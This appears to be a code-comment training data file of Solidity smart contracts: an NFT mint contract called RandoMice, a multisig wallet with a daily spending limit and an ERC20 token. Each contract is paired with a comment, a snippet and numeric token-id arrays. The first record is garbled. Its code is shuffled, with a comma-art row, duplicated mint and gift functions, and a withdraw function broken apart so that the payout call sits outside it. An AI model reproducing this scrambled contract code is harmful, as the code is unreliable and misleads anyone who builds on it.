true, "Already claimed!"); mintlist[_wallet] = true; minted++; _safeMint(msg.sender, minted); } //giveaways are nice function gift(uint[] calldata quantity, address[] calldata recipient) external onlyOwner{ require(quantity.length == recipient.length, "Provide quantities and recipients" ); uint totalQuantity = 0; for(uint i = 0; i < quantity.length; i++){ totalQuantity += quantity[i]; } require( minted + totalQuantity <= maxSupply, "Too many" ); delete totalQuantity; for(uint i = 0; i < recipient.length; i++){ for(uint j = 0; j < quantity[i]; j++){ minted++; _safeMint(recipient[i], minted); } } } //metadata function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "Nonexistent token"); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, (tokenId).toString())) : ""; } //setters function setMiceAddress(address _miceAddr) external onlyOwner { miceAddr = _miceAddr; } function setDoodlesAddress(address _doodlesAddr) external onlyOwner { doodlesAddr = _doodlesAddr; } function setBabyMiceAddress(address _babyMiceAddr) external onlyOwner { babyMiceAddr = _babyMiceAddr; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setMaxMintAmount(uint256 _newMaxMintAmount) public onlyOwner { maxMint = _newMaxMintAmount; } function setmaxSupply(uint256 _newMaxSupply) public onlyOwner { maxSupply = _newMaxSupply; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } //admin functions function _baseURI() internal view override returns (string memory) { return baseURI; } function flipSaleStatus() public onlyOwner { status = !status; } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } }
checks if address owns at least one token from either of the qualifying collections
contract Randomice is ERC721, Ownable, ReentrancyGuard { using Strings for uint256; string public baseURI; uint256 public cost = 0.025 ether; uint256 public minted; uint256 public maxMint = 10; bool public status = false; mapping(address => bool) public mintlist; ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ,,,,,,@@@,,,,,,,,,,,,,,,,,,,@@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, pragma solidity ^0.8.10; constructor() ERC721("RandoMice", "RMICE") {} function isHolder(address _wallet) public view returns (bool) { ERC721 miceToken = ERC721(miceAddr); uint256 _miceBalance = miceToken.balanceOf(_wallet); ERC721 doodlesToken = ERC721(doodlesAddr); uint256 _doodlesBalance = doodlesToken.balanceOf(_wallet); ERC721 babyMiceToken = ERC721(babyMiceAddr); uint256 _babyMiceBalance = babyMiceToken.balanceOf(_wallet); return (_miceBalance + _doodlesBalance + _babyMiceBalance > 0); } function mint(uint256 _mintAmount) public payable nonReentrant{ require(status, "Sale inactive" ); require(msg.sender == tx.origin, "No contracts!"); require(_mintAmount <= maxMint, "Too many" ); require(minted + _mintAmount <= maxSupply, "Would excced supply" ); require(msg.value >= cost * _mintAmount, "Not enough ETH"); for (uint256 i = 0; i < _mintAmount; i++) { minted++; _safeMint(msg.sender, minted); } } function mint(uint256 _mintAmount) public payable nonReentrant{ require(status, "Sale inactive" ); require(msg.sender == tx.origin, "No contracts!"); require(_mintAmount <= maxMint, "Too many" ); require(minted + _mintAmount <= maxSupply, "Would excced supply" ); require(msg.value >= cost * _mintAmount, "Not enough ETH"); for (uint256 i = 0; i < _mintAmount; i++) { minted++; _safeMint(msg.sender, minted); } } function claim(address _wallet) external nonReentrant { require(status, "Sale inactive" ); require(msg.sender == tx.origin, "No contracts!"); require(minted + 1 <= maxSupply, "Would excced supply" ); (bool _holder) = isHolder(_wallet); require(_holder, "Must own at least one qualifying NFT to claim!"); require(mintlist[_wallet] != true, "Already claimed!"); mintlist[_wallet] = true; minted++; _safeMint(msg.sender, minted); } function gift(uint[] calldata quantity, address[] calldata recipient) external onlyOwner{ require(quantity.length == recipient.length, "Provide quantities and recipients" ); uint totalQuantity = 0; for(uint i = 0; i < quantity.length; i++){ totalQuantity += quantity[i]; } require( minted + totalQuantity <= maxSupply, "Too many" ); delete totalQuantity; for(uint i = 0; i < recipient.length; i++){ for(uint j = 0; j < quantity[i]; j++){ minted++; _safeMint(recipient[i], minted); } } } function gift(uint[] calldata quantity, address[] calldata recipient) external onlyOwner{ require(quantity.length == recipient.length, "Provide quantities and recipients" ); uint totalQuantity = 0; for(uint i = 0; i < quantity.length; i++){ totalQuantity += quantity[i]; } require( minted + totalQuantity <= maxSupply, "Too many" ); delete totalQuantity; for(uint i = 0; i < recipient.length; i++){ for(uint j = 0; j < quantity[i]; j++){ minted++; _safeMint(recipient[i], minted); } } } function gift(uint[] calldata quantity, address[] calldata recipient) external onlyOwner{ require(quantity.length == recipient.length, "Provide quantities and recipients" ); uint totalQuantity = 0; for(uint i = 0; i < quantity.length; i++){ totalQuantity += quantity[i]; } require( minted + totalQuantity <= maxSupply, "Too many" ); delete totalQuantity; for(uint i = 0; i < recipient.length; i++){ for(uint j = 0; j < quantity[i]; j++){ minted++; _safeMint(recipient[i], minted); } } } function gift(uint[] calldata quantity, address[] calldata recipient) external onlyOwner{ require(quantity.length == recipient.length, "Provide quantities and recipients" ); uint totalQuantity = 0; for(uint i = 0; i < quantity.length; i++){ totalQuantity += quantity[i]; } require( minted + totalQuantity <= maxSupply, "Too many" ); delete totalQuantity; for(uint i = 0; i < recipient.length; i++){ for(uint j = 0; j < quantity[i]; j++){ minted++; _safeMint(recipient[i], minted); } } } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "Nonexistent token"); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, (tokenId).toString())) : ""; } function setMiceAddress(address _miceAddr) external onlyOwner { miceAddr = _miceAddr; } function setDoodlesAddress(address _doodlesAddr) external onlyOwner { doodlesAddr = _doodlesAddr; } function setBabyMiceAddress(address _babyMiceAddr) external onlyOwner { babyMiceAddr = _babyMiceAddr; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setMaxMintAmount(uint256 _newMaxMintAmount) public onlyOwner { maxMint = _newMaxMintAmount; } function setmaxSupply(uint256 _newMaxSupply) public onlyOwner { maxSupply = _newMaxSupply; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function _baseURI() internal view override returns (string memory) { return baseURI; } function flipSaleStatus() public onlyOwner { status = !status; } function withdraw() public payable onlyOwner { require(success); } (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); }
593,524
[ 1, 12366, 309, 1758, 29065, 622, 4520, 1245, 1147, 628, 3344, 434, 326, 4544, 1164, 310, 6980, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 8072, 1812, 353, 4232, 39, 27, 5340, 16, 14223, 6914, 16, 868, 8230, 12514, 16709, 288, 203, 202, 9940, 8139, 364, 2254, 5034, 31, 203, 203, 202, 1080, 1071, 1026, 3098, 31, 203, 202, 11890, 5034, 1071, 6991, 273, 374, 18, 20, 2947, 225, 2437, 31, 203, 565, 2254, 5034, 1071, 312, 474, 329, 31, 203, 202, 11890, 5034, 1071, 943, 49, 474, 273, 1728, 31, 203, 202, 6430, 1071, 1267, 273, 629, 31, 203, 202, 203, 203, 565, 2874, 12, 2867, 516, 1426, 13, 1071, 312, 474, 1098, 31, 203, 203, 203, 203, 30495, 30495, 30495, 30495, 30495, 30495, 30495, 30495, 16408, 269, 30495, 16, 30989, 36, 30495, 30495, 30495, 30495, 16408, 16, 30989, 36, 30495, 30495, 30495, 30495, 30495, 30495, 30495, 30495, 30495, 30495, 30495, 30495, 30495, 16408, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 2163, 31, 203, 202, 12316, 1435, 4232, 39, 27, 5340, 2932, 54, 28630, 49, 1812, 3113, 315, 54, 7492, 1441, 7923, 2618, 203, 565, 445, 353, 6064, 12, 2867, 389, 19177, 13, 1071, 1476, 1135, 261, 6430, 13, 288, 203, 3639, 4232, 39, 27, 5340, 312, 1812, 1345, 273, 4232, 39, 27, 5340, 12, 81, 1812, 3178, 1769, 203, 3639, 2254, 5034, 389, 81, 1812, 13937, 273, 312, 1812, 1345, 18, 12296, 951, 24899, 19177, 1769, 203, 377, 203, 3639, 4232, 39, 27, 5340, 741, 369, 1040, 1345, 273, 4232, 39, 27, 5340, 12, 2896, 369, 1040, 3178, 1769, 203, 3639, 2254, 5034, 389, 2896, 369, 1040, 13937, 273, 741, 369, 1040, 2 ]
pragma solidity ^0.4.24; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract multiowned { // TYPES // struct for the status of a pending operation. struct PendingState { uint yetNeeded; uint ownersDone; uint index; } // EVENTS // this contract only has five types of events: it can accept a confirmation, in which case // we record owner and operation (hash) alongside it. event Confirmation(address owner, bytes32 operation); event Revoke(address owner, bytes32 operation); // some others are in the case of an owner changing. event OwnerChanged(address oldOwner, address newOwner); event OwnerAdded(address newOwner); event OwnerRemoved(address oldOwner); // the last one is emitted if the required signatures change event RequirementChanged(uint newRequirement); // MODIFIERS // simple single-sig function modifier. modifier onlyowner { if (isOwner(msg.sender)) _; } // multi-sig function modifier: the operation must have an intrinsic hash in order // that later attempts can be realised as the same underlying operation and // thus count as confirmations. modifier onlymanyowners(bytes32 _operation) { if (confirmAndCheck(_operation)) _; } // METHODS // constructor is given number of sigs required to do protected "onlymanyowners" transactions // as well as the selection of addresses capable of confirming them. constructor(address[] _owners, uint _required) public { m_numOwners = _owners.length;// + 1; //m_owners[1] = uint(msg.sender); //m_ownerIndex[uint(msg.sender)] = 1; for (uint i = 0; i < _owners.length; ++i) { m_owners[1 + i] = uint(_owners[i]); m_ownerIndex[uint(_owners[i])] = 1 + i; } m_required = _required; } // Revokes a prior confirmation of the given operation function revoke(bytes32 _operation) external { uint ownerIndex = m_ownerIndex[uint(msg.sender)]; // make sure they're an owner if (ownerIndex == 0) return; uint ownerIndexBit = 2**ownerIndex; PendingState storage pending = m_pending[_operation]; if (pending.ownersDone & ownerIndexBit > 0) { pending.yetNeeded++; pending.ownersDone -= ownerIndexBit; emit Revoke(msg.sender, _operation); } } // Replaces an owner `_from` with another `_to`. function changeOwner(address _from, address _to) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external { if (isOwner(_to)) return; uint ownerIndex = m_ownerIndex[uint(_from)]; if (ownerIndex == 0) return; clearPending(); m_owners[ownerIndex] = uint(_to); m_ownerIndex[uint(_from)] = 0; m_ownerIndex[uint(_to)] = ownerIndex; emit OwnerChanged(_from, _to); } function addOwner(address _owner) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external { if (isOwner(_owner)) return; clearPending(); if (m_numOwners >= c_maxOwners) reorganizeOwners(); if (m_numOwners >= c_maxOwners) return; m_numOwners++; m_owners[m_numOwners] = uint(_owner); m_ownerIndex[uint(_owner)] = m_numOwners; emit OwnerAdded(_owner); } function removeOwner(address _owner) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external { uint ownerIndex = m_ownerIndex[uint(_owner)]; if (ownerIndex == 0) return; if (m_required > m_numOwners - 1) return; m_owners[ownerIndex] = 0; m_ownerIndex[uint(_owner)] = 0; clearPending(); reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot emit OwnerRemoved(_owner); } function changeRequirement(uint _newRequired) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external { if (_newRequired > m_numOwners) return; m_required = _newRequired; clearPending(); emit RequirementChanged(_newRequired); } function isOwner(address _addr) public view returns (bool) { return m_ownerIndex[uint(_addr)] > 0; } function hasConfirmed(bytes32 _operation, address _owner) public view returns (bool) { PendingState storage pending = m_pending[_operation]; uint ownerIndex = m_ownerIndex[uint(_owner)]; // make sure they're an owner if (ownerIndex == 0) return false; // determine the bit to set for this owner. uint ownerIndexBit = 2**ownerIndex; if (pending.ownersDone & ownerIndexBit == 0) { return false; } else { return true; } } // INTERNAL METHODS function confirmAndCheck(bytes32 _operation) internal returns (bool) { // determine what index the present sender is: uint ownerIndex = m_ownerIndex[uint(msg.sender)]; // make sure they're an owner if (ownerIndex == 0) return; PendingState storage pending = m_pending[_operation]; // if we're not yet working on this operation, switch over and reset the confirmation status. if (pending.yetNeeded == 0) { // reset count of confirmations needed. pending.yetNeeded = m_required; // reset which owners have confirmed (none) - set our bitmap to 0. pending.ownersDone = 0; pending.index = m_pendingIndex.length++; m_pendingIndex[pending.index] = _operation; } // determine the bit to set for this owner. uint ownerIndexBit = 2**ownerIndex; // make sure we (the message sender) haven't confirmed this operation previously. if (pending.ownersDone & ownerIndexBit == 0) { emit Confirmation(msg.sender, _operation); // ok - check if count is enough to go ahead. if (pending.yetNeeded <= 1) { // enough confirmations: reset and run interior. delete m_pendingIndex[m_pending[_operation].index]; delete m_pending[_operation]; return true; } else { // not enough: record that this owner in particular confirmed. pending.yetNeeded--; pending.ownersDone |= ownerIndexBit; } } } function reorganizeOwners() private returns (bool) { uint free = 1; while (free < m_numOwners) { while (free < m_numOwners && m_owners[free] != 0) free++; while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--; if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0) { m_owners[free] = m_owners[m_numOwners]; m_ownerIndex[m_owners[free]] = free; m_owners[m_numOwners] = 0; } } } function clearPending() internal { uint length = m_pendingIndex.length; for (uint i = 0; i < length; ++i) { if (m_pendingIndex[i] != 0) { delete m_pending[m_pendingIndex[i]]; } } delete m_pendingIndex; } // FIELDS // the number of owners that must confirm the same operation before it is run. uint public m_required; // pointer used to find a free slot in m_owners uint public m_numOwners; // list of owners uint[256] m_owners; uint constant c_maxOwners = 250; // index on the list of owners to allow reverse lookup mapping(uint => uint) m_ownerIndex; // the ongoing operations. mapping(bytes32 => PendingState) m_pending; bytes32[] m_pendingIndex; } // inheritable "property" contract that enables methods to be protected by placing a linear limit (specifiable) // on a particular resource per calendar day. is multiowned to allow the limit to be altered. resource that method // uses is specified in the modifier. contract daylimit is multiowned { // MODIFIERS // simple modifier for daily limit. modifier limitedDaily(uint _value) { if (underLimit(_value)) _; } // METHODS // constructor - stores initial daily limit and records the present day's index. constructor(uint _limit) public { m_dailyLimit = _limit; m_lastDay = today(); } // (re)sets the daily limit. needs many of the owners to confirm. doesn't alter the amount already spent today. function setDailyLimit(uint _newLimit) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external { m_dailyLimit = _newLimit; } // (re)sets the daily limit. needs many of the owners to confirm. doesn't alter the amount already spent today. function resetSpentToday() onlymanyowners(keccak256(abi.encodePacked(msg.data))) external { m_spentToday = 0; } // INTERNAL METHODS // checks to see if there is at least `_value` left from the daily limit today. if there is, subtracts it and // returns true. otherwise just returns false. function underLimit(uint _value) internal onlyowner returns (bool) { // reset the spend limit if we're on a different day to last time. if (today() > m_lastDay) { m_spentToday = 0; m_lastDay = today(); } // check to see if there's enough left - if so, subtract and return true. if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) { m_spentToday += _value; return true; } return false; } // determines today's index. function today() private view returns (uint) { return block.timestamp / 1 days; } // FIELDS uint public m_dailyLimit; uint public m_spentToday; uint public m_lastDay; } // interface contract for multisig proxy contracts; see below for docs. contract multisig { // EVENTS // logged events: // Funds has arrived into the wallet (record how much). event Deposit(address from, uint value); // Single transaction going out of the wallet (record who signed for it, how much, and to whom it's going). event SingleTransact(address owner, uint value, address to); // Multi-sig transaction going out of the wallet (record who signed for it last, the operation hash, how much, and to whom it's going). event MultiTransact(address owner, bytes32 operation, uint value, address to); // Confirmation still needed for a transaction. event ConfirmationERC20Needed(bytes32 operation, address initiator, uint value, address to, ERC20Basic token); event ConfirmationETHNeeded(bytes32 operation, address initiator, uint value, address to); // FUNCTIONS // TODO: document function changeOwner(address _from, address _to) external; //function execute(address _to, uint _value, bytes _data) external returns (bytes32); //function confirm(bytes32 _h) public returns (bool); } // usage: // bytes32 h = Wallet(w).from(oneOwner).transact(to, value, data); // Wallet(w).from(anotherOwner).confirm(h); contract Wallet is multisig, multiowned, daylimit { uint public version = 4; // TYPES // Transaction structure to remember details of transaction lest it need be saved for a later call. struct Transaction { address to; uint value; address token; } ERC20Basic public erc20; // METHODS // constructor - just pass on the owner array to the multiowned and // the limit to daylimit constructor(address[] _owners, uint _required, uint _daylimit, address _erc20) multiowned(_owners, _required) daylimit(_daylimit) public { erc20 = ERC20Basic(_erc20); } function changeERC20(address _erc20) onlymanyowners(keccak256(abi.encodePacked(msg.data))) public { erc20 = ERC20Basic(_erc20); } // kills the contract sending everything to `_to`. function kill(address _to) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external { selfdestruct(_to); } // gets called when no other function matches function() public payable { // just being sent some cash? if (msg.value > 0) emit Deposit(msg.sender, msg.value); } // Outside-visible transact entry point. Executes transacion immediately if below daily spend limit. // If not, goes into multisig process. We provide a hash on return to allow the sender to provide // shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value // and _data arguments). They still get the option of using them if they want, anyways. function transferETH(address _to, uint _value) external onlyowner returns (bytes32 _r) { // first, take the opportunity to check that we're under the daily limit. if (underLimit(_value)) { emit SingleTransact(msg.sender, _value, _to); // yes - just execute the call. _to.transfer(_value); return 0; } // determine our operation hash. _r = keccak256(abi.encodePacked(msg.data, block.number)); if (!confirmETH(_r) && m_txs[_r].to == 0) { m_txs[_r].to = _to; m_txs[_r].value = _value; emit ConfirmationETHNeeded(_r, msg.sender, _value, _to); } } // confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order // to determine the body of the transaction from the hash provided. function confirmETH(bytes32 _h) onlymanyowners(_h) public returns (bool) { if (m_txs[_h].to != 0) { m_txs[_h].to.transfer(m_txs[_h].value); emit MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to); delete m_txs[_h]; return true; } } function transferERC20(address _to, uint _value) external onlyowner returns (bytes32 _r) { // first, take the opportunity to check that we're under the daily limit. if (underLimit(_value)) { emit SingleTransact(msg.sender, _value, _to); // yes - just execute the call. erc20.transfer(_to, _value); return 0; } // determine our operation hash. _r = keccak256(abi.encodePacked(msg.data, block.number)); if (!confirmERC20(_r) && m_txs[_r].to == 0) { m_txs[_r].to = _to; m_txs[_r].value = _value; m_txs[_r].token = erc20; emit ConfirmationERC20Needed(_r, msg.sender, _value, _to, erc20); } } function confirmERC20(bytes32 _h) onlymanyowners(_h) public returns (bool) { if (m_txs[_h].to != 0) { ERC20Basic token = ERC20Basic(m_txs[_h].token); token.transfer(m_txs[_h].to, m_txs[_h].value); emit MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to); delete m_txs[_h]; return true; } } // INTERNAL METHODS function clearPending() internal { uint length = m_pendingIndex.length; for (uint i = 0; i < length; ++i) delete m_txs[m_pendingIndex[i]]; super.clearPending(); } // FIELDS // pending transactions we have at present. mapping (bytes32 => Transaction) m_txs; }
simple single-sig function modifier.
modifier onlyowner { if (isOwner(msg.sender)) _; }
897,010
[ 1, 9647, 2202, 17, 7340, 445, 9606, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 1338, 8443, 288, 203, 3639, 309, 261, 291, 5541, 12, 3576, 18, 15330, 3719, 203, 5411, 389, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 10000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 10000000000000000; // Update total supply (100000 for example) name = "LifeIsaGame"; // Set the name for display purposes decimals = 8; // Amount of decimals for display purposes symbol = "LAG"; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
Set the symbol for display purposes
symbol = "LAG";
33,339
[ 1, 694, 326, 3273, 364, 2562, 13694, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
